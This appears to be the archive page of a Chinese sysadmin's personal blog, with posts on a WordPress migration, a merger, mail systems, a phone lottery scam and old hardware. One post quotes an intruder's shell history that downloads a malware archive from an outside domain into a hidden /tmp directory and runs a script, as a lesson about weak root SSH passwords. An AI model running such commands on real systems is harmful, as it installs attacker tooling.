Archive for category 站长的blog
WordPress的家
几次思想斗争以后,总算下了狠心将小站迁移到了wordpress。
迁移的大致成绩如下:
- 所有文章页全部迁移成功,文章标签只能后续手工做。
- 评论迁移了大部分,部分评论由于格式问题无法被迁移。
- 网站模板全部丢弃。
- 其余的数据全部丢弃。
- 原先的链接全部碎掉,需要小幅的hack。
之前的小站使用drupal,由于系统的数据库仅支持postgresql,Drupal似乎是唯一的选择。等到网站上线后,忽然间发觉再要移植数据库几乎是不可能的。postgresql并不是那么普遍,只是至少在国内没有几家能够提供这个平台,兼容性成了问题。
wordpress可以说是最近发展最快的系统,对于Ajax和SEO也支持的绝佳,种种优势不言而喻。
litrin本人经过这一段时间,CSS和PHP的功力大幅下降——糟糕的页面布局就是最好的例证:-)
最后,奉上转移脚本,希望能够给同样困扰的朋友些许帮助。
Read the rest of this entry »
心态问题
我们国人总是冰雪聪明的。当老外们静下心来将《孙子兵法》、《三十六计》运用于商战中并逐步寻找理论依据时(例如,所谓纳什均衡理论可以看作“李代桃僵”的经济学推演),我们嗤之以鼻,仿佛还要冷冷的说一句:“It’s in our blood for a long~ time!(在我们血液中已经存在了n久了!)”的确,经过几千年的熟练运用,夫一辈子一辈的言传身教,学这些东西只是浪费时间而已。
国人的浮躁也是老生常谈。我也比较浮躁,没心思介绍,举几个例子吧:公交车上抓小偷抓了个现行,结果发现那哥们儿火气竟然比被害人还要大;路上遇到乞丐,没有给他几个硬币反而被他问候了一下家人。引用某位作家的话:“30年前国人的浮躁尚不及中世纪的欧洲,现在国人的浮躁甚于现在的欧洲。欧洲需要1000年才能做到的转变,国人只用一代人的时间就可以完成……”
两者相撞的结果如何?
我们孩子们总是最擅长于考试。“教条条,背条条,考条条”的教育方式,考验了自八股发明以来所有识字的人。于是乎,随着教育水平的提升,就了有一系列的中国特色人才的产生。具体表现为:“善于模仿和走捷径,善于发现和利用规则的漏洞”这些特长造就了目前红极一时的山寨文化,也源源不断的为产生新的中国特色提供了理论依据和社会土壤。
我个人总是习惯于使用搜索引擎。起初,对于刚刚兴起的SEO技术尚保持支持的态度。可近几年随着SEO技术的普及,搜索引擎变得越发的不准确了。暂不提前些日子百度“惊爆”的竞价排名问题,但是垃圾链接遍布的搜索结果,找到的满屏幕的广告、真假弹窗、欺骗式链接就能让人倒吸一口冷气。真正有用的资源都躲到哪里去了!?后来听说到有人专门开发垃圾站点生成器,一方面垃圾站点可以为自己的各个广告账户找个马甲,另一方面可以增加某些网站的外链,恶通过性提高PR值来做SEO;最近还听说嫌网站的PR不够,找个黑客大规模的去黑别人的网站——不为名,不为利,俺只要加个外链。与之相比,论坛发帖机,垃圾邮件群发器这类低效率的手段倒成了相当人畜无害的营销手段。插一句的说,貌似“广告互点团”也是国人的一大创举。
小的时候曾经去钓鱼,钓到后来心急了,于是乎直接下水去捞鱼,效率大大提升。照这个逻辑推下去,只要有条件,我还会选择电鱼或者炸鱼。但不知是否还有人愿意在被炸过的水塘里钓鱼?反正我是不会了。当浮躁的心态遇上了利益的驱动加之作为中国人的聪明头脑,这“炸鱼心态”也就再所难免了。
伟大的中国人!
“世界运行在数据之上“
MS是微软sql Server 2005的一句广告语:“世界运行在数据之上“。反正这些天我已经深深的感受到了什么叫做”海量“。
自打8月底,公司采购的最多IT设备恐怕就是硬盘和磁带了,而且几乎所有的采购都是500G起步——半T的硬盘竟然也十几个一买,搞的360buy的送货员狂汗。
按说一般办公的主机,只要不BT,搞个80G的盘足够用了,哪知这个到了视频制作那边,这种级别的容量就像软盘一样微不足道,8M码流的成片,1秒就是8M,1小时就28G。这仅仅只是成片,素材又是一个数量级。况且视频这类的东西几乎无法被压缩。回想起N年前1.2G的硬盘,真是哭笑不得。
数据库备份又是一个大户,每天3个备份,每个100G,还好做的是循环增量。
电话录音,wav格式,每电话每秒44K,每天一张CD(650M)还好不多
。
之前一直没有关注过EMS之类的企业级存储,看来需要恶补一下。
反观IT这些年的发展,似乎都处在一个”处理过快,传输落后“的地步,即便是SATA接口,传输一块硬盘的数据也需要数小时的时间,想要升级接口的成本大大于单纯升级容量。类似的例子还有USB2.0、网卡甚至于前端总线之类。个人认为,下一个阶段恐怕是接口上的升级了。
并购
前些日子,公司作为“占领军”并购了一家公司。说实话,这种经历对于已经工作到第八个年头的我还是头一次。这些天静下心来仔细想了想,只能用噩梦来形容。
首先是“合并“,明确一点对于大多数的员工来说恐怕就是“裁员”——沉甸甸的话题。作为“重要部门”的leader,相对大多数员工较早的知道了消息。自己下属的去留,公司其他同事的去留,始终成为一个悬念,日夜折磨着我。更为痛苦的是,公司方面封锁着消息,憋在肚子里的感觉更是折磨人。
话说没有不透风的墙,公司员工陆陆续续得到了消息,流言就像瘟疫一样在公司里蔓延。不断的考验着每一个人的士气。所有的工作陷入了瘫痪……
第二只靴子总算扔了下来,公司开始大范围的裁员,看着公司里原本和气的同事一个个离开公司,心里很是郁闷。几个部门甚至到了连根拔起的程度,走在空荡荡的办公室里,心里几分唏嘘和感慨。也许我们作为职场上漂浮的人来说,也许我们本不属于某家公司。但作为朝夕相处的同事或是朋友,也许这就是所谓的缘尽缘散吧。
接下来是“交接”,公司高层考虑了多方面的因素,决定使用对方的office。本身对于负责运维的我来说,这是见省力气的活。可对方的运维主管怎么说也是职业道德存在问题,竟然公开以公司的各项关键数据和应用作为筹码,叫嚣要与公司谈判。几次谈判无果而终。
为保障数据安全和关键应用,利用周末两天的时间,作为解聘他的前期准备,我的任务是拆解公司所有的密码并更换所有的权限。也算是运气比较好,除了几套“非关键应用”服务器的密码无法破解之外,包括netscreen,solaris, Oracle在内的几十个密码被拆解。基本上已经牢牢的控制了新公司的所有最高权限。
周一一大早,对方的运维主管如期的拿到了解聘通知书,安排做移交。恼羞成怒的他自然没有什么好脸色,所谓的移交仅仅只是过场而已,气氛压抑到我甚至有了动手打人的念头。
最后,作为报复,他偷偷重建了公司OA系统的RAID,造成OA系统瘫痪,而且数据几乎是无法恢复的。为此公司方面甚至动用了法律顾问,几次交锋之后,双方同意和谈。他需要重新恢复OA系统(公司方面了解了他在此之前早有预谋,甚至拷贝了400G以上的数据回家),代价是公司送他一台电脑——比较搞笑的交易。
最后,又是搬家。不谈也罢。
“非技术因素”?
又是很久没有吭声了。
前些日子,为了满足公司“不断发展的业务需要”,把之前“老一辈同事”搭建的邮件系统升了个级。原本的邮件系统是基于系统帐户的,不支持虚拟域等高级功能。经过我几天的工作,重新搭建起了一个postfix+sasl+mysql+IMAP+sqwebmail的标准环境。
考虑到需求,安装了Mailman作为邮件列表管理系统,本以为把这个工作交给了同事,也没什么操心的。谁知道,单是一个mailman就让他头痛了半天,总算等他弄好。提交给老板,我又着实的为“非技术问题”难住了。
- 如何保证公司的每一个员工都能知道邮件服务器切换
- 如何保证切换的过程中没有邮件丢失
- 如何保证所有的用户可以接收之前信箱的内容(应部分员工要求重新注册了邮箱)
类似3扳斧的问题,只能一一对应的找到应对方案
- 全体通知,写了一个脚本,从数据库中读取帐户信息,依次把邮件发送给每个员工
- 又是一个脚本,备份原系统种所有的数据,导入到新邮件帐户
- 在邮件系统中人工一一建立了name aliase
总算是应付过去了,总结如下:
- 对于一个项目,技术人员习惯上将其看作一个技术问题,容易走上误区
- 对于大多数最终用户而言,宜用程度和安全度比技术上的优势有说服力的多
- 迁移一个生产平台是风险想当大的事,前期规划很重要。
- 作为*nix的工程师,ShellScript是必须的技能
- 特别是多人参与的项目SOP想当重要。
一口气说了很多,杂乱无章的。
采购的牢骚
这些天来为公司的IT采购项目搞得头痛。
公司近期要采购2台Sun的v245和Oracle。本来觉得采购就是一手交钱一手交货的买卖,没啥复杂的。联系了Sun的800服务热线说明来由,对方一下子给了我3个供应商电话,排除了一家在北京的,找了那两家分别做报价。
等到受到了2家的报价单后,吓了我一跳,竟然有差不多1/3的价差,如果说差的少也可以理解,差别的这么大,估计不出什么原因,只能找来他们的“售前工程师”来咨询细节。对方一来,人很客气,可是一到了细节问题又开始打起了哈哈——一问三不清,什么金银牌服务的区别也要回去咨询,严重的考验了我的耐心。
总算是敲定了下来,付钱吧,有什么期货价现货价的拉来拉去,美元支付人民币支付的乱搞。
OK,总该完了吧,等到机器一来——靠!电源线还没配……
一个字,晕!!!
遭遇连环套
要说这手机诈骗,似乎哪个有手机的朋友没收到过几个"中奖短信"那反而成了怪事—一据说,东南延海某省的一个镇子的GDP都间接来自于该镇的"短信行业"。好在手法几乎千篇一律,前些日子我就碰上了一个更新版本。
月初的时候,接到了一个显示为+0190852202的香港IP电话——190表示由网通代转,852是香港区号,真实号码无法得知,估计很有可能是为了隐蔽通过skybe out 这类的voip打的。对方是一个略带广东口音的女声,首先问了我的 "native lang"似乎很专业的样子,说是为德意志银行中国筹委会做一个"进入中国市场的前期可行性调研"问了几个关于银行的几个问题,据说还会寄达一份记念品以做报酬;同时作为回报,日后在他们银行办理业务,同等条件下可优先获得VIP资格之类云云。说老实话当初我并未怀疑,类似的问卷也见的多了,况且我还没有那么多钱去外资银行办什么VIP。于是出于以往的惯例,一个正巧大我十岁,家住我们公司仓库的"何先生"取代了我完成了问卷(我姓江,这是最具黑色幽默的)。挂了电话,本以为一切还是按惯例那样之后收个水杯、笔筒、镇纸之类的小礼品,捎带几张宣传品就完了,可事情远没到此为止。
大约一周后,同一个女声,同一个电话。对方上来很客气的道歉,说由于考虑不周,礼品数量不足,礼品将迟些日子寄送。做为补偿,三天后他们将在珠海某酒店举办自助晚宴…到这里,我己经反应过来。首先,由于先前的电话里并没有声明礼品何时送达,时隔半年的礼品我都曾收过,道歉反而会影响一个银行的声誉,且哪有说提前3天才通知的道理?其次,什么叫"数量不足"?从“数量不足”看,这次市场调查的样本可能至少有几千个,而且这么多的问卷绝对会事先选择样本的来源和数目,不存在考虑不周的问题,且暂不提值不值得办酒吃饭以赔罪。再次,退一万步不说,即便真是如此,这样的“自助晚宴”怎么可能?五星级酒店的多功能厅,三五十个人的自助餐,秩序好了像在排队领救济,差了简直就是在抢吃的……种种际像说明他根本就不打算有人去,所以定在珠海,如果我人在珠海,可能他们就要将活动定在上海了。于是我骂了一句"你又不是不知道我人在上海的。"原本的意思是要揭穿他们的真实用心,谁知这位根本没理解,紧跟着就是一句“来不了没有关系的,我们可以给您预留一个座位。”弄的我反而对这个套感起兴趣来了。于是我就按照她的套路继续走下去。
大约又是一周,也就是前天,电话再度响起,还是老样子。对方说:“您预留的位子在晚宴的抽奖活动中获得了三等奖……”。拜托,前面这么精心的布局,到了这里怎么还是老样子?靠!虎头蛇尾的!我也故意装作了惊喜,她说30万港元的支票在那边,要我提供一个银行账户和身份证,要汇钱给我。我没好气说了句:“我在此之前已经中过n次了。”于是挂断了电话。
似乎事情还没结束,当天晚上,电话又响了起来,时恰逢我在如厕,不过看得出他们似乎觉得我这条大鱼已经上钩而等不及了。老婆接了电话,之前我已将事情始末当作了笑话讲给了她听。谁知她也搞起了黑色幽默,她用不知哪里的洋腔怪调说:“哦,何先生他不在……我是他家的佣人……他刚才回来过吧手机拉他奔驰里了,开了夫人的保时捷走的,说是要到什么德国的银行开户……对对,有一个倒霉催的香港的gou小姐要给他汇钱,好像是30几万吧……”我已经笑的肚子痛了。
……继续静观其变
骗局解拆:这个骗局看似巧妙,其实手段很差,主要是现在给别人打去电话无缘无故的说中奖了,没有人会相信,于是加了七绕八绕的几道弯。
- 冒充某某银行的市场调查骗取第一步的信任,并说要送礼品
- 接着礼品的话题说要开一个你根本无法参加的宴会,为不在现场的抽奖准备前提条件
- 恭喜中奖!要钱不要?
- 如果是说要账户和身份证号码——汇钱是不需要身份证号的,我猜测是要根据身份证号强拆银行密码。如果只要银行卡并说有多少钱马上要进来……网上也有报道,通过一张空头支票汇钱进来,看上去是账面上多了30万出来其实根本取不出,然后对方假装失误说忘了扣所得税了时间算好了让你没机会去银行查实,让你通过另外一家银行汇钱,上当的人很容易直接就吧钱汇掉,到头来那边的30w也取不出。
看起来骗子玩的把戏不过如此。鄙视中
科技惰也
在家收拾东西,翻出了一套“大清乾隆二十一年丙子正月(推算下来似乎是公元的1756年,250年前的东西!)”,赵襄周评点《孟子》。书共四册,由于年代久远,现已濒临散乱的边缘。
内容是对《孟子》一书的全文评点,加之后世文人对“亚圣”的数篇褒扬颂德之辞。书中稍加句读,蝇头小楷充斥全文,详尽又不失美观,可谓古书之标本是也。
纸质很薄,按照“汉麻唐竹”的原则,似乎应该是竹纸,手感大不同于现代的木浆纸,感觉似乎是餐巾纸或者厕纸一般,吸水甚强。印刷工艺比较粗糙,甚至漏墨遗墨的情况不在少数,感觉上是水墨而非油墨所印。对折线装,手工缝制。不同于现在常用的宋体字,全书为楷体,看惯宋体字、提笔忘字的现代人似乎都可以用来当作字帖。读前序得知,全书为赵氏门人仿书手刻。很佩服古人,巨笔如椽,如何写得如此细巧精致之小楷?如何“仿书”雕版?按照当初的环境,整本书定来自手工,这在网络购书以成潮流的当代似乎成了一个不可能完成的任务!
书已尽朽,墨迹尽脱,惧其书页毁,读数篇后封之。
科技让人进步,科技使人退步!
迁移项目
最近做了一个项目,闲着无事,整理一下做个总结。
某网站,平台为Redhatas 3.0 apache2.0 php4.1 mysql4.0,系统主要的负载集中在论坛上,该论坛为较早版本的改版Vbb。高峰时段负载一度超过500,缓存占用80%以上。后来由于系统允许root远程SSH登录,同时使用了简单密码,该网站被强拆密码后下载了恶意程序。操作历史为:
187 wget apocalipsa.org/congi/vic.zip
188 cd /tmp/.” ”
189 ls -a 190 cd /tmp/.” ”
191 l s-a
192 ls -a
193 vi go.sh
194 :wq
195 cd /tmp/.” ”
196 screen
197 ./go.sh 203
198 cd /tmp/.” ”
199 sls -a
200 ls -a
201 cat vuln.txt
重新做系统时采用了FreeBSD6.2,考虑到兼容问题,一开始数据库还是用的mysql4.0.23,Apache 2.2.4_2 php4.4.4。系统一出来发现一旦负载超过30就几乎无法操作了。考虑到数据库比较旧的问题,决定首先升级数据库。
数据库升级的还算比较顺利——至少没有出现兼容问题。升级后忽然发现负载竟然惊人的回落,缓存也只有10%左右,看来5.x的新引擎真的不是吹的。
数据库是升级了,响应速度仍然不够乐观,设置了一个mysql的long-time-log,记录了3天的超时查询,发现vbb的sql语句真的很令人汗颜——一条4层left jion命令,几条命令的长度竟然超过1000个字符……
费了不少的力气将论坛移植到了discuz!,响应时间在0.1秒以下,问题总算解决。
总结:
- 在保证兼容性的基础上尽量使用更高版本的数据库
- 允许root远程直接登录的同时,使用弱口令的后果是灾难性的
- mysql很不适合做跨表查询,如果你的程序有太多的跨表查询,要么请用postgresql,要么重新设计你的数据结构。
- 有的时候更新软件比升级硬件更加有效果,何乐不为?
古董
老爸退休在家,想要写点东西,要找一台“能用word就足够”的电脑来用。
于是我又翻出了我的收藏品:
- CPU:P2 350 , 99年的极品cpu哦;
- 内存:两根kingston的64M,一根“HY”的128M凑成了256M;
- 主板:微星i440,竟然还有包含繁简中文在内的多国语言版本的bios,Slot 1;
- 硬盘:IBM的13G,就是传说中玻璃盘面的那一款,声音超响;
- 显卡:找到了一块voodoo女妖,无奈死活点不亮了,只得用了那块intel原厂的i740
- 声卡:创新128b,支持4.1声道,可惜啊,只能接一个mp3上的耳机
- 网卡:3COM的服务器百兆
- 光驱:三星的combo
- 机箱:一应俱全的P4机箱,可惜外壳磨的不成样子
- 软驱:竟然还有这种东西,好是怀念,更令人怀念的是,没有一张软盘读得出
把这一堆跨越历史接近10年的东西组装到了一起——组装的时候有种怪怪的感觉,像是秦始皇和布什总统的会面。
又一个小插曲是装好机器后,我忽然想起了硬盘中还安装着“中软linux3.1”,只是差不多8年了,中软再也没有出过linux,这是不是也可以称其为古董呢?古董规古董,忍痛删掉吧。
操作系统,XP基本上是在折磨人和机器,幸好还有一套正版的windows me,传说中最烂之windows,分区的时候我才感触到,长时间的linux命令行操作,DOS操作已经接近于白痴的水平,连着用了几遍" ls" 才反应过来似乎应该用“DIR” ;用了tab键,无效;上下键翻页,才想起dos应该用F1和F3。总之,死活总算安装好了。
office2000的安装还算顺利,装好主机一个小时以后我已经开始用那台机器一边上网一边听音乐了。
总体感觉了一下,速度还是挺快的,至少感觉比我的笔记本启动XP的时间快多了。除去了花哨的XP界面,其实要完成的任务无非还是“打字”而已,醒悟了之后,忽然感觉到我们其实是一直被计算机软硬件厂商忽悠着。这样一套主机,抛开折旧不说,当初的价格恐怕超过万元,而现在恐怕只有收废品的“广发-三口”公司才肯正眼看它。反而还要被人扣上“无法运行主流操作系统”的帽子。
到底是我们玩了硬件,还是硬件玩了我们?至少对于哪怕是最新版本的office2007,我将要去用它的功能无非也是office2000甚至97,95中的那几个功能,管他什么新文件格式呢?是为了使用软件而不得不升级硬件,还是软件只是升级硬件的借口?
——难以回答。



最近评论